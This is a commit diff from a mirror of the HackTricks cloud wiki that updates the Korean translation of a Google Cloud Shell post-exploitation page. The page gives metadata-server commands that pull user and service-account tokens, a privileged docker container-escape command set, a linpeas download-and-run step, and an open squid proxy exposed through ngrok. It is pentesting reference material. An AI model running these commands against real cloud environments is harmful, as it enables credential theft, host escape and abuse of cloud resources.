mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -4,46 +4,46 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Cloud Shell에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Cloud Shell에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### 메타데이터에서 사용자 token 획득
|
||||
|
||||
Google Cloud Shell은 컨테이너 안에서 실행된다는 점에 유의하세요. 다음과 같이 하면 **easily escape to the host** 할 수 있습니다:
|
||||
metadata server에 접근하기만 하면 현재 로그인한 사용자로서 접근하기 위한 token을 얻을 수 있습니다:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> 이전에는 cloud shell이 호스트의 docker 소켓에 접근할 수 있는 컨테이너에서 실행되었습니다. 이제 Google은 아키텍처를 변경하여 cloud shell 컨테이너가 "Docker in a container" 설정으로 실행됩니다. 따라서 cloud shell에서 docker를 사용할 수 있더라도 docker 소켓을 이용해 호스트로 이스케이프할 수 없습니다.
|
||||
> 참고로 이전에는 `docker.sock` 파일이 `/google/host/var/run/docker.sock`에 있었지만 현재는 `/run/docker.sock`로 이동되었습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Old container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
이것은 google에서 취약점으로 간주되지는 않지만, 해당 env에서 무슨 일이 일어나고 있는지 더 넓은 시각을 제공합니다.
|
||||
|
||||
또한, 호스트에서 service account token을 찾을 수 있다는 점에 주목하세요:
|
||||
또한 과거에는 metadata server에서 cloud shell VM이 사용하던 service account의 token을 찾을 수 있었습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
<summary>metadata server의 이전 service account</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
다음 스코프와 함께:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>서비스 계정 스코프 가져오기</summary>
|
||||
다음 scopes:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
LinPEAS로 메타데이터 열거:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>LinPEAS로 메타데이터 열거</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Service Account의 토큰으로 [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)를 사용했지만 **권한이 발견되지 않았습니다**...
|
||||
|
||||
### 프록시로 사용하기
|
||||
|
||||
google cloud shell 인스턴스를 프록시로 사용하려면 다음 명령어들을 실행해야 합니다(또는 .bashrc 파일에 삽입):
|
||||
google cloud shell 인스턴스를 프록시로 사용하려면 다음 명령을 실행(또는 .bashrc 파일에 추가)해야 합니다:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -79,7 +67,7 @@ sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
참고로 Squid는 HTTP 프록시 서버입니다. 다음 설정으로 **squid.conf** 파일을 생성하세요:
|
||||
참고로 Squid is a http proxy server. 다음 설정으로 **squid.conf** 파일을 생성하세요:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -96,7 +84,7 @@ http_access allow all
|
||||
|
||||
<details>
|
||||
|
||||
<summary>config을 /etc/squid로 복사</summary>
|
||||
<summary>/etc/squid에 구성 파일 복사</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
@@ -112,23 +100,23 @@ sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
ngrok을 사용해 proxy를 외부에서 접근 가능하게 하세요:
|
||||
ngrok를 사용해 proxy를 외부에서 접근할 수 있도록 하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ngrok으로 proxy를 노출하기</summary>
|
||||
<summary>ngrok로 proxy 노출하기</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
실행한 후 tcp:// URL을 복사하세요. 브라우저에서 proxy를 실행하려면 tcp:// 부분과 port를 제거하고 브라우저 proxy 설정의 port 필드에 포트 번호를 넣는 것이 좋습니다 (squid는 http proxy 서버입니다).
|
||||
실행한 후 tcp:// URL을 복사하세요. 브라우저에서 proxy를 실행하려면 tcp:// 부분과 포트 번호를 제거하고 포트 번호를 브라우저의 proxy 설정의 포트 필드에 넣는 것을 권장합니다 (squid는 http proxy 서버입니다).
|
||||
|
||||
시작 시 편리하게 사용하려면 .bashrc 파일에 다음 줄을 추가하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>자동 시작을 위해 .bashrc에 추가</summary>
|
||||
<summary>.bashrc에 자동 시작용으로 추가</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
해당 지침은 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)에서 복사되었습니다. 해당 페이지에서 Cloud Shell에서 모든 종류의 소프트웨어(데이터베이스 및 심지어 windows까지)를 실행하는 다른 기발한 아이디어를 확인하세요.
|
||||
지침은 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)에서 복사되었습니다. 해당 페이지에서 Cloud Shell에서 어떤 종류의 소프트웨어(데이터베이스와 심지어 Windows까지)를 실행하는 다른 기발한 아이디어들을 확인하세요.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user